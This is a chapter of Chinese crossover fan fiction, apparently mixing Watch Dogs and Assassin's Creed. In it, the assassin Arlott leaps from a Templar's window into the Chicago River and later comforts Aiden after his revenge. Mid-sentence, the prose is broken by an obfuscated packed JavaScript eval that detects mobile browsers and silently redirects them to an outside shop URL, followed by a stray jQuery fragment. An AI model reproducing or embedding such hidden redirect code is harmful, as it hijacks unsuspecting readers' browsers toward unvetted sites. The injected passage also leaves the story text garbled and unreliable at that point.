38.第 38 章
    “嘿,艾登。你忙着吗?”

    “算是吧。怎么了?”

    阿洛特短暂地沉默了一会儿。他听见通话被呼啸的风声裹挟,轰鸣的引擎声正破浪而去。艾登绝对在忙。除非他是一时兴起开着游艇兜风,还是在芝加哥全城大停电的情况下。

    “你闹出的动静太大了,”阿洛特说,“有人这么告诉我。小心点。”

    这并不是圣殿骑士的本意。西尔维奥在旁边不赞同地抱起手臂,而阿洛特选择不去看他。

    “我知道。”艾登顿了顿,“但这次的动静不是我弄出来的。是戴米安操纵了整个ctOS系统,而我不得不重启它去找到戴米安。我在路上了。这一切很快就会结束。”

    “祝你顺利。”

    通话结束。阿洛特转过头,看到小加拉哈德站在落地窗前,神情凝重地遥望着芝加哥唯一明亮的一处灯塔。他随手束起的黑亮长发在风中摇曳。

    “这场停电不会太久。”阿洛特对他说。

    “上一次雷蒙·肯尼攻击ctOS系统的时候,”西尔维奥说,“新闻报道声称那场大停电致死了十一个人。但实际上比那更多。”

    “为什么?”

    “因为总有人死得悄无声息。”

    阿洛特看着他,直到圣殿骑士注意到他的视线。

    “很意外?”他问,“超乎了你们对于圣殿骑士的刻板印象?”

    “是有一点。”阿洛特承认。

    他们共同沉默了一会儿。当西尔维奥再开口时,芝加哥高空的狂风平息了许多。

    “我对刺客了解不深,”他平缓地说,“阿尔文是我认识的唯一一个现代刺客。在那之前与之后,我遇到的所有刺客都是为了夺走我的性命前来。”

    阿洛特没说话,尽管一刻钟之前的他也许会说些类似‘我完全理解’的话。

    “而在认识他之前,我会认为所有关于自由意志的呼吁是彻头彻尾的谎言,它实在太幼稚了,我还是个小孩时都不会相信那种话。后来我发现幼稚的那个是我。”

    阿洛特仍然没说话。正相反,他只是注视着西尔维奥。尽管只有直觉,但刺客注意到西尔维奥在叙述的同时,不自觉地陷入了某种焦虑的情绪。小加拉哈德皱着眉毛,仿佛在犹豫着是否要将什么说出口,一个轻而快的咬嘴唇动作在阿洛特敏锐的双眼下一闪而过。

    “发生了什么?”阿洛特问。他拿出了他最沉稳、最平和、最值得信赖的语气,不会比羽毛掠过琴弦更用力。但西尔维奥突然回过头。他看向了房门的方向。

    有人在敲门。“先生,一切都好吗?”

    “你的下属?”

    西尔维奥瞥了阿洛特一眼。他以惊人的速度收拾了自己的情绪,迅速恢复成阿洛特刚来时见到的那个冷静的衣冠混蛋。

    “是的,而你最好现在离开。”圣殿骑士偏过头,指了指落地窗,“下面是河。”

    “什么?”阿洛特难以置信,“你是想说让我跳下去?”

    “你可以做到的,刺客,”西尔维奥立起衬衫领。他走到全身镜前,一边检查着自己的形象,一边心不在焉地反问,“还是说你的信仰不够坚定?”

    “这和我的信仰没关系!”

    阿洛特差点喊出这句话。但他还是探头往外看了眼,西尔维奥没骗他,公寓下方确实是环绕而过的芝加哥河。

    “如果你连信仰之跃都不会,我只能考虑更换合作对象。”圣殿骑士整理好了着装。他头也没回地走向门口,“你也可以选择躲进我的卧室,看在阿尔文的份上,我还可以为你争取一些时间。”

    阿洛特才不会那么做。他踩到落地窗边缘,深呼吸了一口气——主要是是为了平复被西尔维奥再次惹毛的情绪。他戴上兜帽,张开双臂。刺客听见开门声,圣殿骑士与下属在门口低声的交谈,以及他们即将进入客厅的脚步声。

    他纵身一跃。

    圣殿骑士说着“我没检查邮件”,靴跟敲击地砖的声响,甚至衣料摩擦的声音;这一切全部被他抛到脑后。

    芝加哥被称为风城不是没有原因的。坐落在平原上,没有高山的遮挡;来自五大湖区的大风冲过密歇根湖,与高纬度地区南下的寒冷气流汇合,疾疾奔向芝加哥城区。加之城镇街道宽敞、河面开阔,这空气凝成的无形精灵更是再无阻挡,呼啸着吹遍整座城市。

    这就是风城。

    而这就是风城的风。它们从四面八方而来,打着旋试图托起下坠的刺客,但所有的尝试仍然无法阻拦他的下坠。阿洛特久违地被寒冷的狂风裹挟,只听得气流经久不息的呼啸。

    芝加哥陡然恢复了电力。一栋栋大楼重新在夜晚点亮,街道,设施,整座城市在电流中恢复运转,灯火同样在刺客眼中亮起。河流近在眼前。阿洛特两指夹出一枚飞刀,重重甩入平镜般的河面。收下请柬的河流腾起波浪,在夜晚与光明的映衬下,刺客跃入芝加哥河。

    吞入刺客的河流再度腾起雪白的花朵。

    不久后,一只滴着水珠的手忽然扒上游艇边缘。阿洛特翻了进去,被他捎上船的河水淅淅沥沥洒了一地。刺客甩了甩红发,脱下风衣扔到一边,只剩下黑衬衫紧贴着他的身体。引擎开始轰鸣,他顺着感觉向前开,河水同样浸湿了他手里的皮质方向盘。

    堡垒一点意见也没有地接纳了今晚的第二个落水者。阿洛特找出自己随便买的卫衣牛仔裤换上,当他用毛巾擦着头发走出浴室时,他看到艾登坐在一片黑暗中。显示屏幽幽的光芒照亮了私法制裁者的眼睛。

    “你那边都搞定了?”阿洛特问。

    “还没有,”艾登说,“但快了。你的行动怎么样?我没看到新闻。”

    “我也不是每次行动都会搞出新闻的,”阿洛特嘀咕,“情况有点复杂。我想我暂时不会杀他,他也暂时不会杀我。”

    他走到艾登身边。只有当他们靠得足够近的时候,阿洛特才注意到艾登的表情平静得离奇。他看起来不像是结束了复仇,也不像是没结束复仇;巧合的是,这两者的状态阿洛特都很了解。

    艾登没有说话。阿洛特从旁边把椅子挪过来,面对着艾登坐下。这个举动终于引起了艾登的反应。他看了阿洛特一眼。

    “嘿,”阿洛特对他说,“你想聊聊吗?”

    “不太想。”

    “好吧,”阿洛特向后靠了靠,“我只是注意到你看起来很疲惫。如果你想找个人说说话,我就在这里。但如果你暂时不想,我会建议你躺下睡个觉,说真的,艾登,你的脸色看起来很差。”

    忙于复仇的私法制裁者一定很久没有停下来睡个好觉,更别提打理自己了。如果取下鸭舌帽,摘下面罩,阿洛特会更清楚地发现艾登下眼脸处的青黑色,沉

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068492|145032||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    重的黑眼圈就差把那双绿眼睛拽到地上了。

    或许也有堡垒本身的原因。阿洛特还记得T骨抱怨这里真是个坟墓时的场景,它实在太黑了,没有灯光,只有当机器运转时,大屏幕的光和显示屏会在他们说笑时照亮他们的脸庞。但艾登把它关掉了。屏幕一片漆黑,只有他面前的显示屏一下一下地闪着,光源微弱到可怜。

    艾登注视着他。私法制裁者的眼睛就在这光源中忽明忽暗地闪烁着。

    “我确实有个问题想问你,”艾登说,“但可能会让你回想起不高兴的事情。”

    “问吧。”

    “当你结束复仇的时候,那感觉如何?”

    轮到阿洛特陷入沉默。当他嘴角落下去的时候,那种关怀的神情从他脸上一同平和地褪下了。但艾登能辨别出那不是一个表示生气的表情。那只是沉默。

    阿洛特靠进椅背里。他脱离了显示屏前被光笼罩的部分,仿佛是不经意间,把自己的脸藏进了黑暗里。只有一闪一闪的光偶尔照亮他深绿的双眼。

    “…那很复杂。” 他最后说。一滴水珠从他半湿的红发上滴落,消失在他搭在肩膀上的白毛巾里。“我不知道该怎么概括那种感觉,即便我剩下的人生都一直处于那种感觉里。”

    “一直?”

    “一直。”阿洛特说,“不仅是复仇刚刚结束的那部分感觉。事实上,我想,它会伴随我的整个余生。你知道我当时杀了很多人,艾登,而我后来才意识到我杀了很多没必要杀的人。一直到很久之后,他们的子女有时候也会突然出现在我的面前,提醒我曾经做过的事情。”

    艾登凝视着他。他们有一阵没有说话。

    “灯塔上发生了什么?”阿洛特打破了沉默。

    “我杀死了戴米安。”艾登说。

    “那肯定。还有呢?”

    “…截至目前为止,所有和莉娜有关的人都死了。除了一个。”艾登说,“莫里斯。他是在隧道里朝我们开枪的那个射手。”

    阿洛特感觉艾登似乎在转移话题。但他的思路很快转到了莫里斯身上。他换了个姿势,手肘搭在桌上,若有所思地望着艾登。私法制裁者几次张了张嘴,眼神不自然地漂移,仿佛要说出接下来的话很困难。阿洛特等待着。

    “当我刚找到他的踪迹时,”艾登最后开口了。他的声音很低沉,甚至比他担任义警时更沙哑,“我得卸下弹夹,全部交给约尔迪,才能保证我不会立刻杀死他。而那也是为了从他那里得到情报。”

    “我明白。你当时一定很想杀死他。”阿洛特顿了顿,“但你现在的想法改变了。”

    “我不知道。”艾登回答,“我不知道,阿洛特。他是那个开枪的人,但我发现他的遭遇很悲惨,而且他一直在被莉娜的死亡所折磨。根本不需要我杀死他,他已经活在地狱里了。”

    “那么,”阿洛特看着他的眼睛说,“你已经无需插手他的命运了。”

    “我不知道。”

    阿洛特站了起来,把手放到了艾登的肩膀上,安抚性地握了两下。

    “先睡一觉吧,艾登,”他说,“好好休息。明天我会叫你起来。我们开车去看日出,你会发现明天太阳也照常升起。然后,你会去找莫里斯,做出那个决定。无论你的决定是什么,我都站在你这一边。但那都是明天的事情了。现在,睡一觉吧。”